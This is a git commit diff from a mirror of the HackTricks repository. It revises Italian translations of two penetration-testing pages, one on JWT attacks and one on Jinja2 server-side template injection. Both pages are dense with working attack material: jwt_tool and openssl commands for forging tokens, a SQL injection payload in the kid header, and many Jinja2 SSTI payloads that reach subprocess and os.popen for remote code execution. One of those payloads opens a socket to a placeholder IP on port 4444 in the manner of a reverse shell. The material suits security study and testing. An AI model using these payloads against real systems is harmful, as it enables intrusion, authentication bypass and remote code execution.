mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
Translated ['pentesting-web/hacking-jwt-json-web-tokens.md', 'pentesting
This commit is contained in:
parent
00bd0c4551
commit
0cfdf45a41
2 changed files with 48 additions and 40 deletions
|
@ -6,7 +6,7 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,16 +16,16 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inattaccabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
Se sei interessato alla **carriera di hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in lingua polacca scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Parte di questo post si basa sull'ottimo post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Autore dell'ottimo strumento per il pentesting di JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
**Autore dell'ottimo strumento per il pentesting di JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Vittorie Veloci**
|
||||
|
||||
Esegui [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) con modalità `All Tests!` e attendi le linee verdi
|
||||
Esegui [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) con modalità `Tutti i Test!` e attendi le linee verdi
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
|
@ -41,7 +41,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
```
|
||||
### Manipolare i dati senza modificare nulla
|
||||
|
||||
Puoi semplicemente manipolare i dati lasciando la firma invariata e verificare se il server controlla la firma. Prova a cambiare il tuo nome utente in "admin", per esempio.
|
||||
È possibile manipolare i dati lasciando la firma invariata e verificare se il server controlla la firma. Prova a cambiare il tuo nome utente in "admin", per esempio.
|
||||
|
||||
#### **Il token viene verificato?**
|
||||
|
||||
|
@ -62,7 +62,7 @@ Per verificare se la firma di un JWT viene verificata:
|
|||
|
||||
Verifica se il token dura più di 24 ore... forse non scade mai. Se c'è un campo "exp", controlla se il server lo gestisce correttamente.
|
||||
|
||||
### Forza bruta del segreto HMAC
|
||||
### Forzare il segreto HMAC con attacco di forza bruta
|
||||
|
||||
[**Vedi questa pagina.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
|
@ -77,9 +77,9 @@ Utilizza l'estensione Burp chiamata "JSON Web Token" per provare questa vulnerab
|
|||
L'algoritmo HS256 utilizza la chiave segreta per firmare e verificare ciascun messaggio.\
|
||||
L'algoritmo RS256 utilizza la chiave privata per firmare il messaggio e utilizza la chiave pubblica per l'autenticazione.
|
||||
|
||||
Se cambi l'algoritmo da RS256 a HS256, il codice back-end utilizza la chiave pubblica come chiave segreta e poi utilizza l'algoritmo HS256 per verificare la firma.
|
||||
Se si cambia l'algoritmo da RS256 a HS256, il codice back-end utilizza la chiave pubblica come chiave segreta e quindi utilizza l'algoritmo HS256 per verificare la firma.
|
||||
|
||||
Quindi, utilizzando la chiave pubblica e cambiando da RS256 a HS256, potremmo creare una firma valida. Puoi recuperare il certificato del server web eseguendo questo:
|
||||
Quindi, utilizzando la chiave pubblica e cambiando da RS256 a HS256, potremmo creare una firma valida. È possibile recuperare il certificato del server web eseguendo questo:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
@ -91,7 +91,7 @@ Un attaccante incorpora una nuova chiave nell'intestazione del token e il server
|
|||
Ciò può essere fatto con l'estensione Burp "JSON Web Tokens".\
|
||||
(Inoltra la richiesta al Repeater, all'interno della scheda JSON Web Token seleziona "CVE-2018-0114" e invia la richiesta).
|
||||
|
||||
### Spoofing JWKS
|
||||
### Falsificazione di JWKS
|
||||
|
||||
Le istruzioni dettagliano un metodo per valutare la sicurezza dei token JWT, in particolare quelli che impiegano un claim di intestazione "jku". Questo claim dovrebbe collegarsi a un file JWKS (JSON Web Key Set) che contiene la chiave pubblica necessaria per la verifica del token.
|
||||
|
||||
|
@ -114,11 +114,11 @@ Un claim di intestazione opzionale noto come `kid` è utilizzato per identificar
|
|||
|
||||
#### Rivelazione della Chiave tramite "kid"
|
||||
|
||||
Quando il claim `kid` è presente nell'intestazione, è consigliabile cercare nella directory web il file corrispondente o le sue varianti. Ad esempio, se è specificato `"kid":"key/12345"`, i file _/key/12345_ e _/key/12345.pem_ dovrebbero essere cercati nella root del web.
|
||||
Quando il claim `kid` è presente nell'intestazione, è consigliabile cercare nella directory web il file corrispondente o le sue varianti. Ad esempio, se è specificato `"kid":"key/12345"`, i file _/key/12345_ e _/key/12345.pem_ dovrebbero essere cercati nella radice del web.
|
||||
|
||||
#### Traversamento del Percorso con "kid"
|
||||
|
||||
Il claim `kid` potrebbe anche essere sfruttato per navigare nel sistema di file, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Server-Side Request Forgery (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Manipolare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt\_tool, come dimostrato di seguito:
|
||||
Il claim `kid` potrebbe anche essere sfruttato per navigare nel sistema di file, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Richiesta di Server-Side Forgery (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Manipolare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt\_tool, come dimostrato di seguito:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -126,7 +126,7 @@ Attraverso il mirare file con contenuti prevedibili, è possibile falsificare un
|
|||
|
||||
#### Iniezione SQL tramite "kid"
|
||||
|
||||
Se il contenuto del claim `kid` viene utilizzato per recuperare una password da un database, potrebbe essere facilitata un'iniezione SQL modificando il payload `kid`. Un esempio di payload che utilizza un'iniezione SQL per alterare il processo di firma JWT include:
|
||||
Se il contenuto del claim `kid` viene utilizzato per recuperare una password da un database, un'iniezione SQL potrebbe essere facilitata modificando il payload `kid`. Un esempio di payload che utilizza l'iniezione SQL per alterare il processo di firma JWT include:
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
|
@ -142,8 +142,8 @@ Uno scenario in cui il parametro `kid` specifica un percorso di file utilizzato
|
|||
|
||||
#### jku
|
||||
|
||||
jku sta per **URL dell'insieme di chiavi JWK**.\
|
||||
Se il token utilizza un claim **Header** "**jku**", **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che contiene la Chiave Pubblica per verificare il token. Manipola il token per far puntare il valore jku a un servizio web di cui puoi monitorare il traffico.
|
||||
jku sta per **URL dell'insieme JWK**.\
|
||||
Se il token utilizza un claim **Header** "**jku**", **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che contiene la Chiave Pubblica per verificare il token. Manipola il token per puntare il valore jku a un servizio web di cui puoi monitorare il traffico.
|
||||
|
||||
Prima devi creare un nuovo certificato con nuove chiavi private e pubbliche
|
||||
```bash
|
||||
|
@ -166,9 +166,9 @@ print("e:", hex(key.e))
|
|||
|
||||
X.509 URL. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato certificato) codificati in forma PEM. Il primo certificato nell'insieme deve essere quello utilizzato per firmare questo JWT. I certificati successivi firmano ciascuno quello precedente, completando così la catena di certificati. X.509 è definito in RFC 52807. È richiesta la sicurezza del trasporto per trasferire i certificati.
|
||||
|
||||
Prova a **cambiare questo header con un URL sotto il tuo controllo** e controlla se viene ricevuta qualche richiesta. In tal caso, **potresti manomettere il JWT**.
|
||||
Prova a **cambiare questo header con un URL sotto il tuo controllo** e controlla se viene ricevuta qualche richiesta. In tal caso, **potresti alterare il JWT**.
|
||||
|
||||
Per forgiare un nuovo token utilizzando un certificato controllato da te, è necessario creare il certificato ed estrarre le chiavi pubbliche e private:
|
||||
Per falsificare un nuovo token utilizzando un certificato controllato da te, è necessario creare il certificato ed estrarre le chiavi pubbliche e private:
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
|
@ -185,7 +185,7 @@ Questo parametro potrebbe contenere il **certificato in base64**:
|
|||
|
||||
![](<../.gitbook/assets/image (440).png>)
|
||||
|
||||
Se l'attaccante **genera un certificato autofirmato** e crea un token contraffatto utilizzando la corrispondente chiave privata e sostituisce il valore del parametro "x5c" con il certificato appena generato e modifica gli altri parametri, ovvero n, e e x5t, allora essenzialmente il token contraffatto verrebbe accettato dal server.
|
||||
Se l'attaccante **genera un certificato autofirmato** e crea un token contraffatto utilizzando la chiave privata corrispondente e sostituisce il valore del parametro "x5c" con il certificato appena generato e modifica gli altri parametri, ovvero n, e e x5t, allora essenzialmente il token contraffatto verrebbe accettato dal server.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -212,7 +212,7 @@ openssl genrsa -out keypair.pem 2048
|
|||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Puoi ottenere il "n" e il "e" utilizzando questo script nodejs:
|
||||
Puoi ottenere il "n" e "e" utilizzando questo script nodejs:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -222,12 +222,16 @@ const publicComponents = key.exportKey('components-public');
|
|||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
Infine, utilizzando la chiave pubblica e privata e i nuovi valori "n" ed "e" è possibile utilizzare [jwt.io](https://jwt.io) per forgiare un nuovo JWT valido con qualsiasi informazione.
|
||||
### ES256: Rivelazione della chiave privata con lo stesso nonce
|
||||
|
||||
Se alcune applicazioni utilizzano ES256 e lo stesso nonce per generare due JWT, la chiave privata può essere ripristinata.
|
||||
|
||||
Ecco un esempio: [ECDSA: Rivelazione della chiave privata, se viene utilizzato lo stesso nonce (con SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
Il claim JTI (JWT ID) fornisce un identificatore univoco per un token JWT. Può essere utilizzato per evitare il replay del token.\
|
||||
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). Le richieste 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend incrementa l'ID ad ogni richiesta, potresti sfruttarlo per **replay di una richiesta** (necessario inviare 10000 richieste tra ogni replay riuscito).
|
||||
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). La richiesta 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend sta incrementando l'ID ad ogni richiesta, potresti abusarne per **replay di una richiesta** (necessario inviare 10000 richieste tra ogni replay riuscito).
|
||||
|
||||
### Claim registrati JWT
|
||||
|
||||
|
@ -239,11 +243,11 @@ Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001
|
|||
|
||||
È stato osservato che alcune applicazioni web si affidano a un servizio JWT di fiducia per la generazione e la gestione dei loro token. Sono stati registrati casi in cui un token, generato per un cliente dal servizio JWT, è stato accettato da un altro cliente dello stesso servizio JWT. Se viene osservata l'emissione o il rinnovo di un JWT tramite un servizio di terze parti, dovrebbe essere indagata la possibilità di iscriversi a un account su un altro cliente di quel servizio utilizzando lo stesso username/email. Dovrebbe quindi essere tentato di riprodurre il token ottenuto in una richiesta al target per vedere se viene accettato.
|
||||
|
||||
* L'accettazione del tuo token potrebbe indicare un problema critico, consentendo potenzialmente il falsificare l'account di qualsiasi utente. Tuttavia, è importante notare che potrebbe essere necessaria l'autorizzazione per test più ampi se ci si iscrive a un'applicazione di terze parti, poiché potrebbe entrare in una zona grigia legale.
|
||||
* L'accettazione del tuo token potrebbe indicare un problema critico, consentendo potenzialmente il falsificare l'account di qualsiasi utente. Tuttavia, va notato che potrebbe essere necessaria l'autorizzazione per test più ampi se ci si iscrive a un'applicazione di terze parti, poiché potrebbe entrare in una zona grigia legale.
|
||||
|
||||
**Controllo di scadenza dei token**
|
||||
**Controllo della scadenza dei token**
|
||||
|
||||
La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato che i JWT sono spesso utilizzati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e riprodurre il JWT di un altro utente potrebbe consentire l'usurpazione di quell'utente. Il RFC JWT raccomanda di mitigare gli attacchi di replay JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale implementare controlli pertinenti da parte dell'applicazione per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo dei test lo consentono, è consigliabile memorizzare il token e riprodurlo dopo che è passato il tempo di scadenza. Il contenuto del token, inclusa l'analisi del timestamp e il controllo di scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
|
||||
La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato che i JWT sono spesso utilizzati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e riprodurre il JWT di un altro utente potrebbe consentire l'usurpazione di quell'utente. Il RFC JWT raccomanda di mitigare gli attacchi di replay JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale che l'applicazione implementi controlli pertinenti per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo dei test lo consentono, è consigliabile memorizzare il token e riprodurlo dopo che il tempo di scadenza è trascorso. Il contenuto del token, inclusa l'analisi del timestamp e il controllo della scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
|
||||
|
||||
* Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché potrebbe implicare che il token non potrebbe mai scadere.
|
||||
|
||||
|
@ -251,15 +255,15 @@ La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
@ -32,7 +32,7 @@ app.run()
|
|||
```
|
||||
### **Dichiarazione di Debug**
|
||||
|
||||
Se l'estensione Debug è abilitata, sarà disponibile un tag `debug` per visualizzare il contesto attuale, nonché i filtri e i test disponibili. Questo è utile per vedere cosa è disponibile da utilizzare nel template senza configurare un debugger.
|
||||
Se l'estensione Debug è abilitata, un tag `debug` sarà disponibile per visualizzare il contesto attuale, nonché i filtri e i test disponibili. Questo è utile per vedere cosa è disponibile da utilizzare nel template senza configurare un debugger.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -46,7 +46,7 @@ Se l'estensione Debug è abilitata, sarà disponibile un tag `debug` per visuali
|
|||
```
|
||||
### **Dump di tutte le variabili di configurazione**
|
||||
|
||||
Sorgente: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
|
||||
Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
|
||||
```python
|
||||
{{ config }} #In these object you can find all the configured env variables
|
||||
|
||||
|
@ -79,7 +79,7 @@ request
|
|||
|
||||
Quindi, da questi oggetti dobbiamo arrivare alla classe: **`<class 'object'>`** per cercare di **recuperare** le **classi** definite. Questo perché da questo oggetto possiamo chiamare il metodo **`__subclasses__`** e **accedere a tutte le classi dall'ambiente python non sandboxato**.
|
||||
|
||||
Per accedere a quella **classe oggetto**, è necessario **accedere a un oggetto classe** e quindi accedere a **`__base__`**, **`__mro__()[-1]`** o `.`**`mro()[-1]`**. E poi, **dopo** aver raggiunto questa **classe oggetto** **chiamiamo** **`__subclasses__()`**.
|
||||
Per accedere a quella **classe oggetto**, è necessario **accedere a un oggetto classe** e quindi accedere a **`__base__`**, **`__mro__()[-1]`** o `.`**`mro()[-1]`**. E poi, **dopo** aver raggiunto questa **classe oggetto** chiamiamo **`__subclasses__()`**.
|
||||
|
||||
Controlla questi esempi:
|
||||
```python
|
||||
|
@ -138,8 +138,10 @@ La chiamata a `__subclasses__` ci ha dato l'opportunità di **accedere a centina
|
|||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
||||
# Calling os.popen without guessing the index of the class
|
||||
# Without '{{' and '}}'
|
||||
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() == 'chiv' %} a {% endif %}
|
||||
|
||||
# Calling os.popen without guessing the index of the class
|
||||
{% raw %}
|
||||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
|
||||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
||||
|
@ -148,9 +150,11 @@ La chiamata a `__subclasses__` ci ha dato l'opportunità di **accedere a centina
|
|||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
||||
{% endraw %}
|
||||
|
||||
## Passing the cmd line ?cmd=id, Without " and '
|
||||
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
||||
|
||||
```
|
||||
Per apprendere **ulteriori classi** che puoi utilizzare per **evadere** puoi **controllare**:
|
||||
Per apprendere **ulteriori classi** che puoi utilizzare per **evadere**, puoi **controllare**:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -206,7 +210,7 @@ Per impostazione predefinita, Flask codifica HTML all'interno di un modello per
|
|||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**RCE scrivendo un file di configurazione malevolo.**
|
||||
**Esecuzione di codice remoto scrivendo un file di configurazione malevolo.**
|
||||
```python
|
||||
# evil config
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||||
|
@ -231,7 +235,7 @@ Senza **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
Dai [**oggetti globali**](jinja2-ssti.md#accessing-global-objects) c'è un altro modo per ottenere **RCE senza utilizzare quella classe.**\
|
||||
Se riesci ad accedere a qualsiasi **funzione** da quegli oggetti globali, sarai in grado di accedere a **`__globals__.__builtins__`** e da lì la **RCE** è molto **semplice**.
|
||||
|
||||
Puoi **trovare funzioni** dagli oggetti **`request`**, **`config`** e da qualsiasi **altro** oggetto **globale** interessante a cui hai accesso con:
|
||||
Puoi **trovare funzioni** dagli oggetti **`request`**, **`config`** e da qualsiasi altro **oggetto globale** interessante a cui hai accesso con:
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
|
@ -281,13 +285,13 @@ Una volta trovate alcune funzioni, è possibile recuperare i builtins con:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
Loading…
Reference in a new issue